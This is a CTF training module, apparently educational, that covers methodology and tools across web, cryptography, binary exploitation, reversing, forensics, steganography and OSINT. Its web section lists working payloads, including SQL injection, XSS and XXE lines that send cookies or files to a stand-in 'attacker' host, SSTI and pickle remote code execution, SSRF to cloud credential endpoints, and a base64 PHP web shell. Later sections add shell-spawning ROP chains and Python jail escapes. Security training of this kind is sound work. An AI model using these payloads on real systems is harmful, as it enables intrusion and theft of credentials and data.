CTF Methodology Deep Dive
CIPHER Training Module — Structured CTF problem-solving methodology across all categories.
Applies directly to penetration testing, incident response, and security research workflows.
Table of Contents
- General CTF Methodology
- Web Exploitation
- Cryptography
- Binary Exploitation / Pwn
- Reverse Engineering
- Forensics
- Steganography
- OSINT
- Miscellaneous
- Tool Arsenal
- Training Platforms & Progression
General CTF Methodology
The RECON-ANALYZE-EXPLOIT-DOCUMENT Loop
Every CTF challenge follows the same cognitive pattern regardless of category:
1. RECON — Read the challenge description. Identify the category. Download all files.
2. TRIAGE — Run baseline tools: file, strings, xxd, exiftool. Identify file types and anomalies.
3. HYPOTHESIZE — Form 2-3 theories about the intended vulnerability or hiding mechanism.
4. ANALYZE — Deep-dive with category-specific tools. Validate or eliminate hypotheses.
5. EXPLOIT — Craft the solution. Extract the flag.
6. DOCUMENT — Record the technique for future reference. Note alternative approaches.
Universal First Steps (Run on ANY challenge file)
file challenge_file
strings challenge_file | grep -i flag
strings challenge_file | grep -i ctf
xxd challenge_file | head -50
binwalk challenge_file
exiftool challenge_file
Most CTFs use a known flag format: FLAG{...}, flag{...}, CTF{...}, or competition-specific prefixes like picoCTF{...}, HTB{...}. Always grep for the known prefix first.
1. Web Exploitation
Methodology
1. Enumerate — Map the application surface (endpoints, parameters, technologies)
2. Fingerprint — Identify stack (language, framework, server, CMS)
3. Inject — Test all input vectors for injection flaws
4. Escalate — Chain vulnerabilities to reach the flag
Enumeration Phase
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak
ffuf -u http://target/FUZZ -w /usr/share/wordlists/dirb/common.txt
dirsearch -u http://target -e php,asp,html
whatweb http://target
curl -I http://target
Always check: /robots.txt, /sitemap.xml, /.git/, /.env, /backup/, /admin/, /flag.txt, /flag, source code comments.
Common Challenge Patterns & Payloads
SQL Injection
' OR 1=1 --
' OR '1'='1
" OR ""="
admin'
admin' #
-- Union-based extraction
' UNION SELECT 1,2,3
' UNION SELECT null,table_name,null FROM information_schema.tables --
' UNION SELECT null,column_name,null FROM information_schema.columns WHERE table_name='users'
' UNION SELECT null,username,password FROM users --
-- Time-based blind
' OR IF(1=1, SLEEP(5), 0)
' OR (SELECT SLEEP(5)) --
-- Error-based (MySQL)
' AND extractvalue(1, concat(0x7e, (SELECT version())))
' UNION SELECT 1,sql,3 FROM sqlite_master --
' UNION SELECT 1,group_concat(tbl_name),3 FROM sqlite_master WHERE type='table'
Tool: sqlmap -u "http://target/page?id=1" --dbs --batch
Cross-Site Scripting (XSS)
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<ScRiPt>alert(1)</ScRiPt>
<img src=x onerror="alert(1)">
<details open ontoggle=alert(1)>
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
<script>fetch('http://attacker/?c='+document.cookie)</script>
<img src=x onerror="location='http://attacker/?c='+document.cookie">
Server-Side Template Injection (SSTI)
${7*7}
{{7*7}}
{{7*'7'}}
<%= 7*7 %>
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Command Injection
; cat /flag.txt
| cat /flag.txt
`cat /flag.txt`
$(cat /flag.txt)
cat${IFS}/flag.txt
cat$IFS$9/flag.txt
{cat,/flag.txt}
cat</flag.txt
X=$'\x20';cat${X}/flag.txt
tac /flag.txt
head /flag.txt
tail /flag.txt
nl /flag.txt
sort /flag.txt
rev /flag.txt | rev
xxd /flag.txt
base64 /flag.txt
dd if=/flag.txt
cat ${HOME:0:1}flag.txt
cat /fla?.txt
cat /fla*
Server-Side Request Forgery (SSRF)
http://127.0.0.1
http://0.0.0.0
http://0x7f000001
http://2130706433
http://[::1]
http://127.1
http://0177.0.0.1
http://localtest.me
http://spoofed.burpcollaborator.net
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aFLUSHALL%0d%0a
file:///etc/passwd
dict://127.0.0.1:11211/stat
Local File Inclusion (LFI)
../../../etc/passwd
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd
/etc/passwd%00
php://filter/convert.base64-encode/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
/var/log/apache2/access.log
/proc/self/environ
Deserialization
import pickle, os, base64
class Exploit:
def __reduce__(self):
return (os.system, ('cat /flag.txt',))
print(base64.b64encode(pickle.dumps(Exploit())))
XXE (XML External Entity)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker/evil.dtd">
%xxe;
]>
<foo>&send;</foo>
<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % eval "<!ENTITY send SYSTEM 'http://attacker/?d=%file;'>">
%eval;
PHP-Specific Weaknesses
"0e462097431906509019562988736854" == "0"
md5("240610708") = "0e462097431906509019562988736854"
md5("QNKCDZO") = "0e830400451993494058024219903391"
| Tool |
Purpose |
Key Command |
| Burp Suite |
Proxy/repeater/intruder |
GUI — intercept, modify, replay requests |
| sqlmap |
SQL injection |
sqlmap -u URL --dbs --batch --tamper=space2comment |
| ffuf |
Fuzzing |
ffuf -u URL/FUZZ -w wordlist -mc 200 |
| gobuster |
Directory brute-force |
gobuster dir -u URL -w wordlist |
| Commix |
Command injection |
commix --url="URL?param=test" |
| XSStrike |
XSS detection |
xsstrike -u URL?param=test |
| CyberChef |
Encoding/decoding |
Web-based multi-tool |
| Postman/curl |
API testing |
curl -X POST -d 'data' URL |
2. Cryptography
Methodology
1. Identify — What type of cipher/encoding? What parameters are given?
2. Classify — Symmetric? Asymmetric? Hash? Encoding? Classical?
3. Weakness — What is mathematically weak about this implementation?
4. Attack — Apply the appropriate cryptanalytic technique
5. Decrypt — Recover plaintext, extract flag
Identification Cheat Sheet
| Pattern |
Likely Type |
Base64 chars ending in = or == |
Base64 encoding |
0x prefix, hex chars |
Hex encoding |
| All uppercase/lowercase letters only |
Caesar, ROT13, substitution |
| Repeating patterns in ciphertext |
ECB mode, substitution |
| Large integers (n, e, c) |
RSA |
p, g, A, B parameters |
Diffie-Hellman |
| IV + ciphertext |
AES-CBC |
-----BEGIN header |
PEM format (RSA key, certificate) |
| 32 hex chars |
MD5 hash |
| 40 hex chars |
SHA-1 hash |
| 64 hex chars |
SHA-256 hash |
Classical Ciphers
echo "ciphertext" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
for i in $(seq 0 25); do echo "ciphertext" | caesar $i; done
echo "ciphertext" | tr 'A-Za-z' 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba'
RSA Attacks
Standard RSA Math
from Crypto.Util.number import inverse, long_to_bytes
p, q = factor(n)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
plaintext = long_to_bytes(m)
Attack Decision Tree
RSA Challenge
├── Small n → Factor directly (factordb.com, yafu, msieve)
├── Small e (e=3) → Cube root attack (m^e < n means c = m^e, take eth root)
├── Large e → Wiener's attack (continued fractions on e/n)
├── e and d related → Boneh-Durfee (d < n^0.292)
├── Multiple ciphertexts, same m, different n → Hastad's broadcast attack
├── Same n, different e → Common modulus attack
├── n shares factor with another n → GCD attack: gcd(n1, n2)
├── p ≈ q (close primes) → Fermat factorization
├── Smooth p-1 or q-1 → Pollard's p-1
├── Known partial key → Coppersmith / partial key recovery
├── RSA signature → Bleichenbacher, fault attacks
└── Unknown → RsaCtfTool --publickey key.pub --private
RsaCtfTool --publickey key.pub --private
RsaCtfTool --publickey key.pub --decrypt ciphertext.enc
RsaCtfTool --publickey key.pub --attack wiener
RsaCtfTool --publickey key.pub --attack fermat
RsaCtfTool -n <N> -e <E> --decrypt <C>
RsaCtfTool --createpub -n <N> -e <E> > key.pub
RsaCtfTool --dumpkey --key key.pub
AES Attacks
AES Challenge
├── ECB mode → Detect: identical plaintext blocks produce identical ciphertext blocks
│ ├── Block shuffling / cut-and-paste attacks
│ └── Byte-at-a-time oracle (chosen plaintext)
├── CBC mode
│ ├── Padding oracle → padding-oracle-attacker, PadBuster
│ ├── Bit-flipping → XOR target byte in previous ciphertext block
│ └── IV = Key → Leak key through error messages
├── CTR mode
│ ├── Nonce reuse → XOR ciphertexts, crib drag
│ └── Counter overflow → Keystream reuse
└── GCM mode → Nonce reuse enables forgery
XOR Attacks
ciphertext = bytes.fromhex("1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736")
for key in range(256):
plaintext = bytes([b ^ key for b in ciphertext])
if all(32 <= c < 127 for c in plaintext):
print(f"Key {key}: {plaintext.decode()}")
Hash Attacks
hash_extender -d "original_data" -s "known_hash" -a "append_data" -f sha256 -l <secret_length>
fastcoll -o file1.bin file2.bin
| Tool |
Purpose |
Key Command |
| CyberChef |
Multi-decoder |
Web GUI — chain operations |
| RsaCtfTool |
RSA attacks |
RsaCtfTool --publickey key.pub --private |
| xortool |
XOR analysis |
xortool ciphertext -c 20 |
| hashcat |
Hash cracking |
hashcat -m <mode> hash wordlist |
| John the Ripper |
Hash cracking |
john --wordlist=rockyou.txt hash.txt |
| hash_extender |
Length extension |
hash_extender -d data -s hash -a append -f sha256 -l len |
| SageMath |
Math/crypto |
sage -python solve.py |
| factordb.com |
Factor large N |
Web — paste integer |
| dcode.fr |
Classical ciphers |
Web — multiple solver tools |
| quipqiup.com |
Substitution solver |
Web — paste ciphertext |
3. Binary Exploitation / Pwn
Methodology
1. Recon — checksec, file, strings, ltrace, strace
2. Analyze — Disassemble, identify vulnerability class
3. Constrain — Map protections: ASLR, NX, PIE, canary, RELRO
4. Develop — Build exploit, account for protections
5. Test — Run locally, debug, refine offsets
6. Deploy — Run against remote target
Reconnaissance Phase
file binary
checksec --file=binary
strings binary
ltrace ./binary
strace ./binary
objdump -d binary | less
readelf -a binary
ldd binary
Protection Bypass Reference
| Protection |
What It Does |
Bypass |
| NX (No-Execute) |
Stack not executable |
ROP chains, ret2libc |
| ASLR |
Randomize memory layout |
Information leak, brute force (32-bit), ret2plt |
| Stack Canary |
Detect stack overflow |
Canary leak (format string), brute force |
| PIE |
Randomize binary base |
Information leak, partial overwrite |
| RELRO (Full) |
GOT read-only |
Cannot overwrite GOT; use __malloc_hook, __free_hook |
| RELRO (Partial) |
GOT writable |
GOT overwrite still possible |
Buffer Overflow
from pwn import *
cyclic(200)
cyclic_find(0x61616168)
p = process('./binary')
offset = 64
payload = b'A' * offset
payload += p64(win_function_addr)
p.sendline(payload)
p.interactive()
Return-Oriented Programming (ROP)
from pwn import *
elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)
rop.find_gadget(['pop rdi', 'ret'])
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
payload = b'A' * offset
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(next(elf.search(b'/bin/sh')))
payload += p64(elf.symbols['system'])
payload = b'%x.' * 20
payload = b'%7$s'
payload = b'AAAA%7$x'
addr = p32(target_addr)
payload = addr + b'%7$s'
from pwn import *
fmtstr_payload(offset, {target_addr: value})
Heap Exploitation
Heap Challenge
├── Use-After-Free → Allocate object, free it, reallocate with controlled data, use original pointer
├── Double Free → Free same chunk twice, get same allocation twice
├── Heap Overflow → Overwrite adjacent chunk metadata
├── Tcache poisoning (glibc 2.26+) → Corrupt tcache fd pointer
├── Fastbin dup → Double free in fastbin, arbitrary allocation
├── House of Force → Overwrite top chunk size, allocate at arbitrary address
└── Unsorted bin attack → Leak libc address via unsorted bin fd/bk pointers
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('target.com', 1337)
p.sendline(b'payload')
p.send(b'payload')
p.sendafter(b'prompt: ', b'payload')
p.recvline()
p.recvuntil(b'flag{')
p.interactive()
p64(0xdeadbeef)
p32(0xdeadbeef)
u64(b'\x01\x02\x03\x04\x05\x06\x07\x08')
shellcode = asm(shellcraft.sh())
shellcode = asm(shellcraft.cat('/flag'))
elf = ELF('./binary')
elf.symbols['main']
elf.got['puts']
elf.plt['puts']
p = gdb.debug('./binary', '''
b *main+42
c
''')
| Tool |
Purpose |
Key Command |
| pwntools |
Exploit framework |
from pwn import * |
| GDB + pwndbg |
Debugging |
gdb ./binary then checksec, vmmap, heap |
| GDB + GEF |
Debugging |
gdb ./binary then pattern create 200 |
| ROPgadget |
Find gadgets |
ROPgadget --binary binary --ropchain |
| ropper |
Find gadgets |
ropper -f binary --search "pop rdi" |
| one_gadget |
Find execve gadgets in libc |
one_gadget libc.so.6 |
| seccomp-tools |
Analyze seccomp filters |
seccomp-tools dump ./binary |
| checksec |
Check protections |
checksec --file=binary |
| patchelf |
Modify ELF |
patchelf --set-interpreter ./ld.so ./binary |
| pwninit |
Setup challenge |
pwninit --bin binary --libc libc.so.6 |
4. Reverse Engineering
Methodology
1. Identify — File type, architecture, packing, obfuscation
2. Static — Disassemble, decompile, string analysis
3. Dynamic — Run in debugger/sandbox, trace execution
4. Understand — Map program logic, identify key decision points
5. Solve — Extract flag, keygen, or patch binary
Static Analysis
file binary
strings binary
strings -e l binary
objdump -d binary
nm binary
readelf -S binary
Decompilers:
- Ghidra — Free, open-source, Java-based. Supports x86, ARM, MIPS, PPC, etc.
- IDA Pro — Industry standard. IDA Free available for non-commercial use.
- Binary Ninja — Modern interface, good API.
- Cutter — GUI for Radare2 with Ghidra decompiler integration.
Dynamic Analysis
gdb ./binary
ltrace ./binary
strace ./binary
valgrind ./binary
qira ./binary
frida -l hook_script.js binary
Common RE Challenge Patterns
Flag Checker / Password Validator
Pattern: Binary takes input, validates it character by character or via transformation.
Approach:
1. Find the comparison function (strcmp, memcmp, or custom)
2. Extract the target value
3. Reverse the transformation (XOR, shift, substitution table)
4. Use symbolic execution (angr/z3) for complex constraints
Angr (Symbolic Execution)
import angr
proj = angr.Project('./binary', auto_load_libs=False)
state = proj.factory.entry_state()
simgr = proj.factory.simgr(state)
simgr.explore(find=0x401234, avoid=0x401240)
if simgr.found:
solution = simgr.found[0]
print(solution.posix.dumps(0))
Z3 (Constraint Solving)
from z3 import *
s = Solver()
flag = [BitVec(f'c{i}', 8) for i in range(32)]
for c in flag:
s.add(c >= 0x20, c <= 0x7e)
s.add(flag[0] ^ 0x42 == 0x12)
if s.check() == sat:
m = s.model()
print(''.join(chr(m[c].as_long()) for c in flag))
Language-Specific Reversing
| Language |
Decompile Tool |
Notes |
| C/C++ |
Ghidra, IDA |
Standard RE workflow |
| Python (.pyc) |
uncompyle6, pycdc, decompyle3 |
Bytecode to source |
| Java (.class/.jar) |
JD-GUI, CFR, Procyon |
Nearly perfect decompilation |
| .NET (C#) |
dnSpy, ILSpy, dotPeek |
Excellent decompilation |
| Go |
Ghidra + go-re scripts |
Stripped symbols common; look for main.main |
| Rust |
Ghidra |
Heavy inlining; focus on string refs |
| Android (APK) |
apktool, jadx, dex2jar + JD-GUI |
Unpack then decompile |
| JavaScript (obfuscated) |
de4js, jsnice, beautifier.io |
Deobfuscate first |
Anti-Debugging / Anti-RE Techniques
Technique Detection/Bypass
─────────────────────────────────────────────
ptrace self-attach Patch out ptrace call or LD_PRELOAD stub
IsDebuggerPresent (Win) Patch return value or PEB flag
Timing checks NOP out rdtsc/GetTickCount checks
String encryption Breakpoint on decryption routine
Control flow flattening Symbolic execution (angr)
VM-based obfuscation Trace and reconstruct logic
Anti-disassembly (junk bytes) Manual analysis, fix disassembly
| Tool |
Purpose |
Key Command |
| Ghidra |
Decompiler |
GUI — CodeBrowser, auto-analyze |
| IDA Pro/Free |
Disassembler |
GUI — F5 for decompiler |
| Radare2 |
RE framework |
r2 -A binary then afl, pdf @main |
| angr |
Symbolic execution |
Python API |
| z3 |
Constraint solver |
Python API |
| Frida |
Dynamic instrumentation |
frida -l script.js binary |
| uncompyle6 |
Python decompiler |
uncompyle6 file.pyc |
| jadx |
Android decompiler |
jadx -d output/ app.apk |
| dnSpy |
.NET decompiler |
GUI — drag and drop assembly |
| strace/ltrace |
Syscall/lib tracing |
strace ./binary 2>&1 |
5. Forensics
Methodology
1. Preserve — Never modify the original evidence. Work on copies.
2. Identify — File types, timestamps, metadata, structure.
3. Extract — Carve embedded files, recover deleted data.
4. Analyze — Timeline reconstruction, artifact correlation.
5. Report — Document chain of evidence and findings.
File Analysis
file evidence_file
xxd evidence_file | head
binwalk evidence_file
binwalk -e evidence_file
foremost evidence_file
scalpel evidence_file
exiftool evidence_file
strings -n 8 evidence_file
Common Magic Bytes
| Hex Signature |
File Type |
89 50 4E 47 |
PNG |
FF D8 FF |
JPEG |
47 49 46 38 |
GIF |
50 4B 03 04 |
ZIP / DOCX / XLSX / APK / JAR |
25 50 44 46 |
PDF |
7F 45 4C 46 |
ELF |
4D 5A |
PE (Windows EXE/DLL) |
1F 8B |
Gzip |
42 5A 68 |
Bzip2 |
FD 37 7A 58 5A |
XZ |
52 61 72 21 |
RAR |
7B 5C 72 74 66 |
RTF |
D0 CF 11 E0 |
MS Office (OLE) |
Disk / Filesystem Forensics
mount -o loop,ro image.dd /mnt/evidence
mmls image.dd
fls -r image.dd
icat image.dd <inode>
tsk_recover image.dd output_dir/
photorec image.dd
extundelete image.dd --restore-all
fls -m "/" -r image.dd > bodyfile
mactime -b bodyfile > timeline.csv
Memory Forensics
vol3 -f memory.dmp windows.info
vol3 -f memory.dmp windows.pslist
vol3 -f memory.dmp windows.pstree
vol3 -f memory.dmp windows.cmdline
vol3 -f memory.dmp windows.filescan
vol3 -f memory.dmp windows.dumpfiles
vol3 -f memory.dmp windows.netscan
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.malfind
volatility -f memory.dmp imageinfo
volatility -f memory.dmp --profile=<PROFILE> pslist
volatility -f memory.dmp --profile=<PROFILE> cmdscan
volatility -f memory.dmp --profile=<PROFILE> filescan
volatility -f memory.dmp --profile=<PROFILE> dumpfiles -Q <offset> -D output/
volatility -f memory.lime --profile=LinuxProfile linux_pslist
volatility -f memory.lime --profile=LinuxProfile linux_bash
Network Forensics
tshark -r capture.pcap -Y "http"
tshark -r capture.pcap -Y "dns"
tshark -r capture.pcap -Y "tcp.port==4444"
tshark -r capture.pcap -T fields -e http.file_data -Y "http.response"
tcpflow -r capture.pcap
foremost -i capture.pcap
NetworkMiner capture.pcap
zeek -r capture.pcap
cat conn.log
cat http.log
cat dns.log
cat files.log
PDF Forensics
pdfinfo document.pdf
pdf-parser -s "/JS" document.pdf
pdf-parser -s "/Launch" document.pdf
peepdf -i document.pdf
pdftotext document.pdf
pdfdetach -saveall document.pdf
qpdf --qdf document.pdf unpacked.pdf
| Tool |
Purpose |
Key Command |
| Volatility 3 |
Memory forensics |
vol3 -f dump windows.pslist |
| Wireshark |
Packet analysis |
GUI or tshark -r file.pcap |
| Autopsy/Sleuth Kit |
Disk forensics |
fls -r image.dd |
| binwalk |
Embedded file extraction |
binwalk -e file |
| foremost |
File carving |
foremost -i file |
| exiftool |
Metadata |
exiftool file |
| photorec |
File recovery |
Interactive CLI |
| tcpflow |
TCP reassembly |
tcpflow -r capture.pcap |
6. Steganography
Methodology
1. Visual — Look at the image. Anything visually hidden?
2. Metadata — Check EXIF, comments, embedded thumbnails
3. File — Check for appended data, embedded archives
4. Pixel — LSB analysis, color channel separation, bit planes
5. Transform — Frequency domain analysis (FFT, DCT for JPEG)
6. Audio — Spectrogram, phase analysis, LSB in audio samples
7. Password — Try extraction with empty password, then brute-force
Image Steganography
exiftool image.png
exiftool -b -ThumbnailImage image.jpg > thumb.jpg
identify -verbose image.png
file image.png
binwalk image.png
binwalk -e image.png
strings image.png | grep -i flag
xxd image.png | tail
steghide extract -sf image.jpg
steghide extract -sf image.jpg -p ""
stegseek image.jpg rockyou.txt
stegseek image.jpg --crack
outguess -r image.jpg output.txt
jsteg reveal image.jpg
openstego extract -sf image.png -xf out.txt
zsteg -a image.png
zsteg image.png -b 1
python3 -c "
from PIL import Image
img = Image.open('image.png')
pixels = list(img.getdata())
# Extract LSB of each R channel byte
bits = ''.join([str(p[0] & 1) for p in pixels])
# Convert bits to bytes
flag = ''.join([chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8)])
print(flag[:100])
"
Audio Steganography
ffplay -af "atempo=0.5" audio.wav
ffmpeg -i audio.wav -filter:a "areverse" reversed.wav
python3 -c "
import wave
w = wave.open('audio.wav', 'r')
frames = w.readframes(w.getnframes())
bits = ''.join([str(b & 1) for b in frames])
chars = ''.join([chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8)])
print(chars[:200])
"
multimon-ng -t wav audio.wav -a DTMF
qsstv
Text / Data Steganography
stegsnow -C -p "" file.txt
QR Codes and Barcodes
zbarimg image.png
| Tool |
Purpose |
File Types |
| steghide |
Embed/extract data |
JPEG, BMP, WAV, AU |
| stegseek |
Fast steghide cracker |
JPEG, BMP, WAV, AU |
| zsteg |
LSB analysis |
PNG, BMP |
| jsteg |
JPEG LSB |
JPEG |
| Stegsolve |
Visual analysis |
Any image |
| outguess |
Steganographic extraction |
JPEG |
| Sonic Visualizer |
Audio spectrogram |
WAV, MP3, FLAC |
| stegsnow |
Whitespace stego |
Text files |
| Aperisolve |
Automated analysis |
Images (web tool) |
| OpenStego |
Extract hidden data |
PNG |
7. OSINT
Methodology
1. Define — What specific information are you trying to find?
2. Passive — Collect without direct interaction with target
3. Active — Direct interaction (DNS lookups, port scans) — scope-dependent
4. Correlate — Cross-reference findings across sources
5. Verify — Confirm findings through independent sources
6. Document — Source, timestamp, confidence level for every finding
Username / Person OSINT
sherlock username
maigret username
whatsmyname username
holehe email@target.com
theHarvester -d target.com -b all
Domain / Infrastructure OSINT
dig target.com ANY
dig target.com MX
dig target.com TXT
host -t axfr target.com ns1.target.com
dnsrecon -d target.com
subfinder -d target.com
amass enum -d target.com
whois target.com
whatweb target.com
wappalyzer (browser extension)
builtwith.com/target.com
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com ext:sql | ext:bak | ext:log
intitle:"index of" site:target.com
Image / File OSINT
exiftool image.jpg
CTF-Specific OSINT Patterns
Common challenge types:
- Find a person/account from limited clues (photo, username fragment)
- Geolocate an image (landmarks, signs, vegetation, architecture)
- Track down a hidden webpage or social media post
- Decode breadcrumb trails across multiple platforms
- Identify a location from a photo (Google Lens, street signs, language clues)
- Find deleted/cached content (Wayback Machine, Google Cache)
| Tool |
Purpose |
| sherlock |
Username search across 300+ sites |
| maigret |
Extended username enumeration |
| theHarvester |
Email/subdomain gathering |
| subfinder |
Subdomain discovery |
| amass |
Attack surface mapping |
| holehe |
Email account checking |
| Google Dorking |
Targeted search queries |
| Wayback Machine |
Historical web content |
| crt.sh |
Certificate transparency logs |
| exiftool |
Image/file metadata |
| TinEye/Yandex |
Reverse image search |
| Maltego |
Link analysis and visualization |
8. Miscellaneous
Encoding / Decoding
echo "encoded" | base64 -d
echo -n "plaintext" | base64
python3 -c "import base64; print(base64.b32decode('JBSWY3DP'))"
python3 -c "import base58; print(base58.b58decode('encoded'))"
echo "48656c6c6f" | xxd -r -p
echo -n "Hello" | xxd -p
python3 -c "import urllib.parse; print(urllib.parse.unquote('%48%65%6c%6c%6f'))"
python3 -c "print(''.join(chr(int(b,2)) for b in '01001000 01101001'.split()))"
Esoteric Programming Languages
| Language |
Identifier |
Interpreter |
| Brainfuck |
+-><[]., characters |
copy.sh/brainfuck, tio.run |
| Malbolge |
Appears random/base85 |
malbolge.doleczek.pl |
| Piet |
Colored pixel art |
npiet, bertnase.de/npiet |
| Ook! |
Ook. Ook! Ook? |
dcode.fr/ook-language |
| Whitespace |
Only spaces/tabs/newlines |
tio.run |
| COW |
MOO, moo, MoO |
tio.run |
| JSFuck |
Only []()!+ |
jsfuck.com |
| Rockstar |
Reads like song lyrics |
codewithrockstar.com |
ZIP / Archive Challenges
fcrackzip -u -D -p rockyou.txt encrypted.zip
john --wordlist=rockyou.txt zip_hash
hashcat -m 13600 zip_hash rockyou.txt
pkcrack -C encrypted.zip -c known_file -P plain.zip -p known_file
binwalk -e file.zip
zip -FF broken.zip --out fixed.zip
Common Misc Patterns
- QR code challenges: distorted, partial, or multi-layered QR codes
- Encoding chains: Base64 → Hex → ROT13 → reversed (peel layers)
- Data in unusual places: HTTP headers, DNS TXT records, EXIF comments
- Jail escapes: restricted shells, Python sandboxes, regex bypasses
- Math/programming puzzles: implement algorithm under time pressure
- Blockchain: analyze transactions, smart contract vulnerabilities
- Signal processing: WAV files with hidden data, radio frequencies
Python Jail Escape
__import__('os').system('cat flag.txt')
eval('__imp'+'ort__("os").system("cat flag.txt")')
exec("import os; os.system('sh')")
().__class__.__bases__[0].__subclasses__()
chr(99)+chr(97)+chr(116)
getattr(getattr(__builtins__, '__import__')('os'), 'system')('sh')
Tier 1 — Must-Have (Install First)
| Tool |
Category |
Install |
| pwntools |
Pwn/RE |
pip install pwntools |
| GDB + pwndbg |
Pwn/RE |
git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh |
| Ghidra |
RE |
Download from ghidra-sre.org |
| Burp Suite |
Web |
Download from portswigger.net |
| CyberChef |
Crypto/Encoding |
https://gchq.github.io/CyberChef/ |
| Wireshark |
Forensics/Network |
apt install wireshark |
| binwalk |
Forensics |
pip install binwalk |
| sqlmap |
Web |
pip install sqlmap |
| exiftool |
Forensics/Stego |
apt install libimage-exiftool-perl |
| John the Ripper |
Crypto |
apt install john |
| hashcat |
Crypto |
apt install hashcat |
Tier 2 — Category-Specific
| Tool |
Category |
Install |
| RsaCtfTool |
Crypto |
pip install git+https://github.com/RsaCtfTool/RsaCtfTool |
| zsteg |
Stego |
gem install zsteg |
| steghide |
Stego |
apt install steghide |
| stegseek |
Stego |
GitHub releases |
| Stegsolve |
Stego |
Download JAR |
| Volatility 3 |
Forensics |
pip install volatility3 |
| angr |
RE |
pip install angr |
| z3-solver |
RE |
pip install z3-solver |
| ROPgadget |
Pwn |
pip install ROPgadget |
| one_gadget |
Pwn |
gem install one_gadget |
| ffuf |
Web |
go install github.com/ffuf/ffuf/v2@latest |
| sherlock |
OSINT |
pip install sherlock-project |
Tier 3 — Specialized
| Tool |
Category |
Purpose |
| Frida |
RE |
Dynamic instrumentation |
| qiling |
RE |
Binary emulation |
| seccomp-tools |
Pwn |
Seccomp filter analysis |
| SageMath |
Crypto |
Advanced math (lattice reduction, etc.) |
| Sonic Visualizer |
Stego |
Audio spectrogram |
| Autopsy |
Forensics |
Disk forensics GUI |
| Maltego |
OSINT |
Link analysis |
| xortool |
Crypto |
XOR key recovery |
| pkcrack |
Crypto |
ZIP known-plaintext attack |
| multimon-ng |
Stego |
DTMF/digital mode decoding |
Recommended Progression Path
Beginner
├── picoCTF (picocTF.org) — Guided, year-round, all categories
├── OverTheWire Bandit — Linux fundamentals (SSH wargame)
├── TryHackMe — Guided rooms with walkthroughs
└── CryptoHack (cryptohack.org) — Interactive crypto challenges
Intermediate
├── OverTheWire Natas — Web security (15+ levels)
├── OverTheWire Narnia — Binary exploitation intro
├── pwnable.kr Toddler's Bottle — Easy pwn challenges
├── Hack The Box — Weekly machines + challenges
├── root-me.org — Wide category coverage
└── CTFtime.org — Compete in live events
Advanced
├── pwnable.kr Rookiss/Grotesque — Hard binary exploitation
├── OverTheWire Behemoth → Utumno → Maze — Progressive difficulty pwn
├── HackTheBox Pro Labs — Multi-machine networks
├── GoogleCTF / PlaidCTF / HITCON — Top-tier competitions
└── RealWorldCTF — Production-grade challenges
Live Competition Strategy
1. Team composition: web + crypto + pwn + RE specialists minimum
2. First 30 minutes: read ALL challenges, sort by expected difficulty
3. Pick low-hanging fruit first — easy challenges have same point value early on
4. Timebox hard challenges — 90 min max before rotating
5. Document EVERYTHING — you will forget which approach you tried
6. Share findings — a web clue might unlock a misc challenge
7. Check scoreboard — if few teams solved it, expect a novel technique
8. Read hints/updates — organizers often clarify or fix broken challenges
Key Writeup Collections
| Source |
URL |
Strength |
| CTFtime Writeups |
ctftime.org/writeups |
Aggregated from all teams |
| TFNS Writeups |
github.com/TFNS/writeups |
Crypto, RE, pwn depth |
| LiveOverflow |
youtube.com/LiveOverflow |
Video explanations |
| John Hammond |
youtube.com/JohnHammond |
Beginner-friendly walkthroughs |
| IppSec |
youtube.com/IppSec |
HTB machine walkthroughs |
| Trail of Bits CTF Guide |
trailofbits.github.io/ctf/ |
Structured methodology |
Quick-Reference Decision Trees
"I Have a File — Now What?"
Unknown file
├── file says "data" → xxd | head (check magic bytes), binwalk
├── file says "image" → exiftool, binwalk, strings, steghide/zsteg
├── file says "audio" → Sonic Visualizer (spectrogram), strings, LSB
├── file says "PDF" → pdftotext, pdf-parser, binwalk
├── file says "ELF" → checksec, strings, Ghidra/IDA, gdb
├── file says "PE" → strings, Ghidra/IDA, PEstudio
├── file says "ZIP/archive" → unzip -l, binwalk, try password cracking
├── file says "pcap" → Wireshark, tshark, tcpflow
├── file says "memory dump" → Volatility (imageinfo first)
├── file says "filesystem" → mount, fls, photorec
└── Nothing works → rename to .xxx, try more magic byte databases
"I Have Ciphertext — Now What?"
Ciphertext
├── Looks like Base64 → decode, check if result is another encoding (layers)
├── All hex → unhex, check result
├── Only letters → frequency analysis → substitution or Caesar
├── Has {key, n, e, c} → RSA → factor n or apply known attack
├── Has {IV, ciphertext} → AES → check for padding oracle, ECB, bit flip
├── Repeating patterns → ECB mode or classical cipher
